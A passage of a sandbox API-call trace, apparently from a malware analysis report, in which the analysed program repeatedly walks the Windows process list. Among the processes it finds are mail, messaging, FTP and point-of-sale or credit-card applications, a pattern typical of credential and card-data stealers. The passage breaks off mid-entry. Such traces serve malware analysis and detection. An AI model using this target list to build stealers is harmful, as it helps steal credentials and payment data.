Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0269.959] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0269.961] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0269.963] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0269.965] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0269.968] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0269.970] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0269.975] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0269.977] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0269.979] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0269.981] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0269.983] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0269.985] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0269.988] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0269.990] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0269.992] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0269.994] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0269.996] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0269.999] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0270.001] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0270.003] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0270.043] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0270.045] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0270.051] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0270.054] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0270.056] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0270.057] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0270.061] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0270.064] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0270.066] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0270.068] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0270.069] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0270.071] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.073] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0270.075] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0270.077] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0270.078] CloseHandle (hObject=0x21cc) returned 1 [0270.078] Sleep (dwMilliseconds=0x64) [0270.080] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0270.104] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.106] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.108] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.109] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.111] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.113] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.115] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.117] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.119] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.121] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.123] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.124] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.126] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.128] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.132] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.134] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.136] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.138] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.140] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.141] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.143] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.145] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.147] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.149] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.151] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0270.153] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0270.155] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.156] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.158] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.191] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0270.193] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.195] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.198] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0270.200] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.202] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.204] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.206] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.209] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0270.212] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.214] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0270.215] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0270.218] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0270.220] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0270.222] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0270.223] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0270.225] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0270.227] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, 